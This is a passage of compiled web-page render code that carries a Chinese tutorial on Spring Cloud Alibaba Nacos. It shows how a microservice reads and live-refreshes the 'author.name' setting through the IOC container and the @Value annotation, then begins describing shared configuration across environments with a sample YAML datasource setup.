"),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-015","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-015.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("直接点击确认发布即可。")]),s._v(" "),a("h3",{attrs:{id:"通过ioc容器获取nacos配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#通过ioc容器获取nacos配置"}},[s._v("#")]),s._v(" 通过IOC容器获取Nacos配置")]),s._v(" "),a("p",[s._v("(1)在用户微服务shop-user的"),a("code",[s._v("io.binghe.shop.user.controller")]),s._v("包下新建NacosController类,并在NacosController类中注入"),a("code",[s._v("org.springframework.context.ConfigurableApplicationContext")]),s._v("类,通过ConfigurableApplicationContext获取到系统环境变量,并从环境变量中获取到"),a("code",[s._v("author.name")]),s._v("属性的值,就是我们在Nacos中配置的作者姓名,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 从Nacos中获取配置项\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RestController")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("NacosController")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConfigurableApplicationContext")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GetMapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/nacos/test"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("nacosTest")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" authorName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getEnvironment")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProperty")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"author.name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"获取到的作者姓名为:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br")])]),a("p",[s._v("(2)启动用户微服务和网关服务,并在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/test")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-016","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-016.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,能够正确读取到Nacos中的配置信息。")]),s._v(" "),a("p",[s._v("(3)修改Nacos中server-user-dev.yaml的配置,将"),a("code",[s._v("author.name")]),s._v("的值修改为binghe001,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-017","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-017.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(4)发布后,不要重启用户微服务和网关服务,在浏览器上刷新"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/test")]),s._v("链接,发现读取到的信息已经变成了binghe001,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-018","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-018.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,通过IOC容器能够读取到Nacos中修改后的配置。")]),s._v(" "),a("h3",{attrs:{id:"通过注解获取nacos配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#通过注解获取nacos配置"}},[s._v("#")]),s._v(" 通过注解获取Nacos配置")]),s._v(" "),a("p",[s._v("(1)在用户微服务shop-user的"),a("code",[s._v("io.binghe.shop.user.controller.NacosController")]),s._v("类上添加@RefreshScope注解,并将Nacos中的"),a("code",[s._v("author.name")]),s._v("的值注入到NacosController类中,并通过接口获取到注入的Nacos中的"),a("code",[s._v("author.name")]),s._v("值,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 从Nacos中获取配置项\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RefreshScope")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RestController")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("NacosController")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConfigurableApplicationContext")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${author.name}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" nacosAuthorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GetMapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/nacos/test"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("nacosTest")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" authorName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getEnvironment")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProperty")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"author.name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"获取到的作者姓名为:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GetMapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/nacos/name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("nacosName")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"从Nacos中获取到的作者的姓名为:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" nacosAuthorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" nacosAuthorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br")])]),a("p",[s._v("(2)启动用户微服务和网关服务,并在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-019","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-019.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)修改Nacos中server-user-dev.yaml的配置,将"),a("code",[s._v("author.name")]),s._v("的值修改为binghe002,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-020","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-020.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)发布后,不要重启用户微服务和网关服务,在浏览器上刷新"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v("链接,发现读取到的信息已经变成了binghe002,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-021","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-021.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("说明使用注解的方式也能够读取到Nacos中更新后的配置信息。")]),s._v(" "),a("p",[s._v("注意:虽然通过IOC容器和注解都能够读取到Nacos中更新后的配置信息,但是在实际项目中,推荐使用注解的方式获取Nacos中更新后的配置信息。")]),s._v(" "),a("h2",{attrs:{id:"实现配置共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#实现配置共享"}},[s._v("#")]),s._v(" 实现配置共享")]),s._v(" "),a("p",[s._v("一般情况下,开发项目的过程中会包含:开发环境、测试环境、预发布环境和生成环境,每个环境中的配置大部分是相同的,有少部分配置不同,如果我们能够将大部分相同的配置抽取出来,让同一个微服务在不同的环境中共享,则能够大大降低我们的维护成本。")]),s._v(" "),a("p",[s._v("另外,如果使用的是相同的技术栈的话,对于每个微服务来说,可能大部分的配置也是相同的,如果我们将这些相同的配置抽取出来让各个微服务共享,则能够进一步降低维护成本。")]),s._v(" "),a("p",[s._v("所以,实现配置共享可以从 "),a("strong",[s._v("单服务多环境配置和多服务配置")]),s._v(" 两个角度来思考。")]),s._v(" "),a("h3",{attrs:{id:"单服务多环境实现共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#单服务多环境实现共享"}},[s._v("#")]),s._v(" 单服务多环境实现共享")]),s._v(" "),a("p",[s._v("实现单个微服务在多个不同环境中的配置共享比较简单,只要在Nacos中配置一个以"),a("code",[s._v("spring.application.name")]),s._v("为Data ID的配置文件,并且将这个微服务在所有环境中公共的配置放进去即可。")]),s._v(" "),a("p",[a("strong",[s._v("注意:这里我们以用户微服务为例进行实现。")])]),s._v(" "),a("p",[s._v("(1)在Nacos中新建一个以server-user.yaml为Data ID的配置,并且将用户微服务在各个环境中共有的配置复制进去,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-022","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-022.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("其中,我们假设用户微服务在多个环境下公共的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8060")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /user\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("datasource")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("driver-class-name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.mysql.cj.jdbc.Driver\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("url")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" jdbc"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("mysql"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("//localhost"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("3306/shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("?")]),s._v("useSSL=false"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("&useUnicode=true&characterEncoding=utf-8&allowMultiQueries=true&serverTimezone=Asia/Shanghai")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("platform")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" mysql\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.alibaba.druid.pool.DruidDataSource\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 下面为连接池的补充设置,应用到上面所有数据源中")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 初始化大小,最小,最大")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("initialSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxActive")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置获取连接等待超时的时间")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxWait")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("60000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("timeBetweenEvictionRunsMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置一个连接在池中最小生存的时间,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minEvictableIdleTimeMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("validationQuery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" select 1 from dual\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testWhileIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnBorrow")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnReturn")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 打开PSCache,并且指定每个连接上PSCache的大小")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("poolPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxPoolPreparedStatementPerConnectionSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxOpenPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置监控统计拦截的filters,去掉后监控界面sql无法统计,'wall'用于防火墙")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("filters")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" stat\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("http")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("encoding")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("enabled")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("charset")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" UTF"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("force")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mybatis-plus")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("global-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("id-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" auto\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("field-strategy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" not"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("empty\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("table-underline")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 